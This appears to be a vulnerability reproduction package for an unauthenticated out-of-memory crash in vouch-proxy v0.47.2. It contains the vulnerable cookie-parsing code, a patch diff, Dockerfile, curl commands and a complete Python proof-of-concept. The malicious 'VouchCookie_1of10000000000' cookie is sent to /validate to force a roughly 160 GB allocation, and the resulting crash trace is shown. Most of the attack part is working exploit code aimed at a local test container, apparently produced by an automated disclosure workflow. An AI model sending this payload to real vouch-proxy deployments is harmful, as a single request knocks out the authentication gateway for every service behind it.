vouch-proxy CVE-2026-55149

// pkg/cookie/cookie.go:123-130
xOFy := strings.Replace(cookie.Name, cookieUnder, "", 1)
xyArray := strings.Split(xOFy, "of")
if numParts == -1 {
    if numParts, err = strconv.Atoi(xyArray[1]); err != nil {
        return "", fmt.Errorf("multipart cookie fail: %s", err)
    }
    cookieParts = make([]string, numParts)  // sink: unbounded allocation
}

--- a/pkg/cookie/cookie.go
+++ b/pkg/cookie/cookie.go
@@ const maxCookieSize = 4000
+const maxCookieParts = 32
@@
-    xOFy := strings.Replace(cookie.Name, cookieUnder, "", 1)
-    xyArray := strings.Split(xOFy, "of")
+    xOFy := strings.Replace(cookie.Name, cookieUnder, "", 1)
+    partStr, totalStr, ok := strings.Cut(xOFy, "of")
+    if !ok || partStr == "" || totalStr == "" {
+        return "", fmt.Errorf("multipart cookie fail: invalid cookie part name")
+    }
     if numParts == -1 {
-        if numParts, err = strconv.Atoi(xyArray[1]); err != nil {
+        if numParts, err = strconv.Atoi(totalStr); err != nil {
             return "", fmt.Errorf("multipart cookie fail: %s", err)
         }
+        if numParts < 1 || numParts > maxCookieParts {
+            return "", fmt.Errorf("multipart cookie fail: invalid part count %d", numParts)
+        }
         cookieParts = make([]string, numParts)
     }

docker build \
  -f vuln-001/Dockerfile \
  -t vouch-vuln001 \
  repo

docker run -d --name vouch-vuln001-poc -p 19090:9090 vouch-vuln001

curl -v http://127.0.0.1:19090/validate

curl -v http://127.0.0.1:19090/validate \
  -H 'Host: app.example.com' \
  -H 'Cookie: VouchCookie_1of10000000000=x'

python3 poc.py --image vouch-vuln001 --port 19090 --parts 10000000000

fatal error: runtime: out of memory

runtime.makeslice(0x0?, 0x0?, 0x0?)
    /usr/local/go/src/runtime/slice.go:117
github.com/vouch/vouch-proxy/pkg/cookie.Cookie(...)
    /src/pkg/cookie/cookie.go:130
github.com/vouch/vouch-proxy/pkg/jwtmanager.FindJWT(...)
    /src/pkg/jwtmanager/jwtmanager.go:228
main.main.JWTCacheHandler.func1(...)
    /src/pkg/jwtmanager/jwtcache.go:54

vouch:
  logLevel: info
  listen: 0.0.0.0
  port: 9090
  domains:
    - vouch.github.io
oauth:
  provider: indieauth
  client_id: http://vouch.github.io
  auth_url: https://indielogin.com/auth
  callback_url: http://vouch.github.io:9090/auth

# VULN-001 - Unbounded Multipart Cookie Allocation DoS
# vouch/vouch-proxy v0.47.2 (commit b683f60)
#
# Attack: GET /validate with Cookie: VouchCookie_1of<HUGE>=x
#   -> cookie.Cookie() calls strconv.Atoi on the attacker-controlled total
#   -> make([]string, <HUGE>) triggers an immediate OOM fatal in the Go runtime
#   -> Server process crashes; no authentication required
#
# Build:  docker build -f vuln-001/Dockerfile -t vouch-vuln001 /path/to/repo
# Run:    docker run --rm -p 9090:9090 --name vouch-vuln001 vouch-vuln001
# ---------- Stage 1: compile vouch-proxy from source ----------
FROM golang:1.26 AS builder

WORKDIR /src
COPY . .
# Build a statically linked binary; skip do.sh which requires live git tags.
# Version ldflags are pinned to the affected commit for reproducibility.
RUN CGO_ENABLED=0 GOOS=linux \
    go build -v \
      -ldflags="-s -w \
        -X main.version=b683f60 \
        -X main.uname=linux \
        -X main.builddt=2024-01-01T00:00:00Z \
        -X main.host=vuln-poc \
        -X main.semver=v0.47.2 \
        -X main.branch=main" \
      -o /vouch-proxy .
# ---------- Stage 2: minimal runtime image ----------
FROM debian:bookworm-slim

RUN apt-get update && \
    apt-get install -y --no-install-recommends ca-certificates && \
    rm -rf /var/lib/apt/lists/*

COPY --from=builder /vouch-proxy /vouch-proxy
# Minimal config: allowAllUsers so startup succeeds without real OAuth,
# default cookie name VouchCookie matches the PoC payload.
RUN mkdir -p /config && cat > /config/config.yml << 'EOF'
vouch:
  logLevel: info
  listen: 0.0.0.0
  port: 9090
  domains:
    - vouch.github.io
oauth:
  provider: indieauth
  client_id: http://vouch.github.io
  auth_url: https://indielogin.com/auth
  callback_url: http://vouch.github.io:9090/auth
EOF

EXPOSE 9090
ENTRYPOINT ["/vouch-proxy"]

#!/usr/bin/env python3
"""
VULN-001 Proof-of-Concept: Unbounded Multipart Cookie Allocation DoS
Target: vouch/vouch-proxy v0.47.2 (commit b683f60)
File:   pkg/cookie/cookie.go:126

Attack summary
--------------
The multipart-cookie reassembly routine reads the total part count from the
attacker-controlled cookie *name* (e.g. VouchCookie_1of<N>) and calls
    make([]string, N)
with no upper-bound check.  The /validate endpoint is reachable without any
authentication, so a single HTTP request with N=10_000_000_000 forces the
Go runtime to attempt a ~160 GB heap allocation, which immediately triggers
    runtime: out of memory: cannot allocate ...
and crashes the server process (Go fatal, exit 2).

Usage
-----
Run from the repo root (or any directory; paths are absolute):

    python3 poc.py [--image IMAGE] [--port PORT] [--parts N]

Defaults:
    IMAGE  = vouch-vuln001
    PORT   = 9090
    PARTS  = 10000000000   (10 billion -> ~160 GB allocation request)
"""

import argparse
import http.client
import json
import subprocess
import sys
import time
# ──────────────────────────────────────────────────────────
# Configuration
# ──────────────────────────────────────────────────────────
DEFAULT_IMAGE  = "vouch-vuln001"
DEFAULT_PORT   = 19090
# host port; container always uses 9090 internally
DEFAULT_PARTS  = 10_000_000_000
# drives make([]string, 10_000_000_000)
CONTAINER_NAME = "vouch-vuln001-poc"
STARTUP_TIMEOUT_S = 30
# seconds to wait for the server to listen
READY_POLL_S  = 1.0
# ──────────────────────────────────────────────────────────
# Helpers
# ──────────────────────────────────────────────────────────

def run(cmd: list[str], **kwargs) -> subprocess.CompletedProcess:
    """Run a subprocess and return the CompletedProcess."""
    print(f"[cmd] {' '.join(cmd)}")
    return subprocess.run(cmd, **kwargs)


def cleanup(name: str) -> None:
    """Remove an existing container by name, ignoring errors."""
    subprocess.run(
        ["docker", "rm", "-f", name],
        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
    )


def wait_for_server(host: str, port: int, timeout: float) -> bool:
    """Poll GET /validate until we get any response (even 401/302) or timeout."""
    deadline = time.monotonic() + timeout
    while time.monotonic() < deadline:
        try:
            conn = http.client.HTTPConnection(host, port, timeout=2)
            conn.request("GET", "/validate")
            resp = conn.getresponse()
# Any HTTP response means the server is up.
            print(f"[ready] server responded: HTTP {resp.status}")
            conn.close()
            return True
        except OSError:
            pass
        time.sleep(READY_POLL_S)
    return False


def container_running(name: str) -> bool:
    """Return True if the named container is still running."""
    r = subprocess.run(
        ["docker", "inspect", "--format", "{{.State.Running}}", name],
        capture_output=True, text=True,
    )
    return r.returncode == 0 and r.stdout.strip() == "true"


def container_exit_code(name: str) -> int | None:
    """Return the exit code of a stopped container, or None if unknown."""
    r = subprocess.run(
        ["docker", "inspect", "--format", "{{.State.ExitCode}}", name],
        capture_output=True, text=True,
    )
    if r.returncode == 0:
        try:
            return int(r.stdout.strip())
        except ValueError:
            pass
    return None


def container_oom(name: str) -> bool:
    """Return True if the container was OOM-killed."""
    r = subprocess.run(
        ["docker", "inspect", "--format", "{{.State.OOMKilled}}", name],
        capture_output=True, text=True,
    )
    return r.returncode == 0 and r.stdout.strip() == "true"


def get_logs(name: str) -> str:
    """Retrieve stdout+stderr from the container."""
    r = subprocess.run(
        ["docker", "logs", name],
        capture_output=True, text=True,
    )
    return (r.stdout + r.stderr).strip()
# ──────────────────────────────────────────────────────────
# Main
# ──────────────────────────────────────────────────────────

def main() -> None:
    parser = argparse.ArgumentParser(description="VULN-001 PoC runner")
    parser.add_argument("--image",  default=DEFAULT_IMAGE,  help="Docker image name")
    parser.add_argument("--port",   default=DEFAULT_PORT,   type=int)
    parser.add_argument("--parts",  default=DEFAULT_PARTS,  type=int,
                        help="N in VouchCookie_1ofN (drives allocation size)")
    args = parser.parse_args()

    host       = "127.0.0.1"
    port       = args.port
    image      = args.image
    num_parts  = args.parts
    cookie_val = f"VouchCookie_1of{num_parts}"

    print("=" * 60)
    print("VULN-001 PoC - Unbounded Multipart Cookie Allocation DoS")
    print("=" * 60)
    print(f"  Image  : {image}")
    print(f"  Target : http://{host}:{port}/validate")
    print(f"  Cookie : {cookie_val}=x")
    print(f"  Expected allocation: ~{(num_parts * 16) // (1024**3)} GB")
    print()
# 1. Clean up any leftover container.
    cleanup(CONTAINER_NAME)
# 2. Start the vouch-proxy container.
#    Memory is uncapped at the Docker level; the Go runtime itself will
#    fail the mmap when the host cannot honor the 160 GB request
#    (overcommit heuristic or insufficient address space).
    run_cmd = [
        "docker", "run", "-d",
# no --rm so logs survive after crash
        "--name", CONTAINER_NAME,
        "-p", f"{port}:9090",
# host:container - vouch-proxy always binds :9090 internally
        image,
    ]
    r = run(run_cmd, capture_output=True, text=True)
    if r.returncode != 0:
        print(f"[FAIL] docker run failed:\n{r.stderr}")
        sys.exit(1)
    container_id = r.stdout.strip()
    print(f"[info] container started: {container_id[:12]}")
# 3. Wait for the HTTP server to accept connections.
    print(f"[info] waiting for server on {host}:{port} (up to {STARTUP_TIMEOUT_S}s) ...")
    ready = wait_for_server(host, port, STARTUP_TIMEOUT_S)
    if not ready:
        logs = get_logs(CONTAINER_NAME)
        print(f"[FAIL] server did not become ready within {STARTUP_TIMEOUT_S}s.")
        print("[logs]", logs[-2000:])
        cleanup(CONTAINER_NAME)
        sys.exit(1)
# 4. Send the malicious request.
    print()
    print("[attack] Sending malicious cookie to /validate ...")
    request_line = f"GET /validate HTTP/1.1 Cookie: {cookie_val}=x"
    print(f"[attack] {request_line}")
    print()

    try:
        conn = http.client.HTTPConnection(host, port, timeout=10)
        conn.request(
            "GET", "/validate",
            headers={
                "Host": "app.example.com",
                "Cookie": f"{cookie_val}=x",
            },
        )
# The server might crash before sending a response.
        try:
            resp = conn.getresponse()
            body = resp.read(512).decode("utf-8", errors="replace")
            print(f"[info] got HTTP {resp.status}: {body[:200]}")
        except Exception as e:
            print(f"[info] connection broken mid-response (expected): {e}")
        conn.close()
    except Exception as e:
        print(f"[info] request exception (expected if server crashed): {e}")
# 5. Give the container a moment to record its exit state.
    time.sleep(2)
# 6. Collect evidence.
    still_running = container_running(CONTAINER_NAME)
    exit_code     = container_exit_code(CONTAINER_NAME)
    oom_killed    = container_oom(CONTAINER_NAME)
    logs          = get_logs(CONTAINER_NAME)

    print("─" * 60)
    print("[evidence] Container still running :", still_running)
    print("[evidence] Container exit code      :", exit_code)
    print("[evidence] OOM-killed flag          :", oom_killed)
    print()
    print("[logs] (last 3000 chars of container stdout+stderr):")
    print(logs[-3000:] if logs else "(empty)")
    print("─" * 60)
# 7. Verdict
#
    # Evidence of exploitation (any one suffices):
#   (a) Container exited (not still running) after the malicious request.
#   (b) Exit code == 2 (Go runtime fatal: out of memory).
#   (c) OOMKilled == true (kernel OOM killer fired).
#   (d) Logs contain "out of memory" or "runtime: fatal".

    crashed   = not still_running
    go_panic  = exit_code == 2
    oom_kill  = oom_killed
    log_oom   = (
        "out of memory" in logs.lower()
        or "runtime: fatal" in logs.lower()
        or "cannot allocate" in logs.lower()
    )

    passed = crashed and (go_panic or oom_kill or log_oom)

    print()
    if passed:
        print("[PASS] Vulnerability reproduced: server crashed due to unbounded allocation.")
# Extract the key OOM line from logs.
        oom_lines = [
            ln for ln in logs.splitlines()
            if any(kw in ln.lower() for kw in ("out of memory", "cannot allocate", "runtime: fatal", "oom"))
        ]
        evidence = "\n".join(oom_lines[:5]) if oom_lines else f"container exited with code {exit_code}"
    else:
        print("[FAIL] Could not confirm crash. See logs above for details.")
        evidence = logs[-500:] if logs else "(no logs)"

    print()
    result = {
        "passed":        passed,
        "verdict":       "PASS" if passed else "FAIL",
        "reason": (
            "단일 비인증 HTTP 요청으로 서버 프로세스를 OOM 충돌시키는 취약점 재현 성공"
            if passed else
            "컨테이너 충돌을 확인할 수 없음 - 로그 및 종료 코드 참고"
        ),
        "build_command": (
            "docker build -f vuln-001/Dockerfile "
            "-t vouch-vuln001 "
            "repo"
        ),
        "run_command": (
            f"docker run --rm -d --name {CONTAINER_NAME} "
            f"-p {port}:9090 {image}"
        ),
        "poc_command": (
            f"python3 poc.py --image {image} --port {port} --parts {num_parts}"
        ),
        "evidence":      evidence,
        "artifacts":     ["Dockerfile", "poc.py"],
    }

    result_path = (
        "reports/pypiAi_450_vouch__vouch-proxy"
        "/vuln-001/phase2_result.json"
    )
    with open(result_path, "w") as fh:
        json.dump(result, fh, indent=2, ensure_ascii=False)
    print(f"[saved] {result_path}")
# 8. Cleanup.
    cleanup(CONTAINER_NAME)


if __name__ == "__main__":
    main()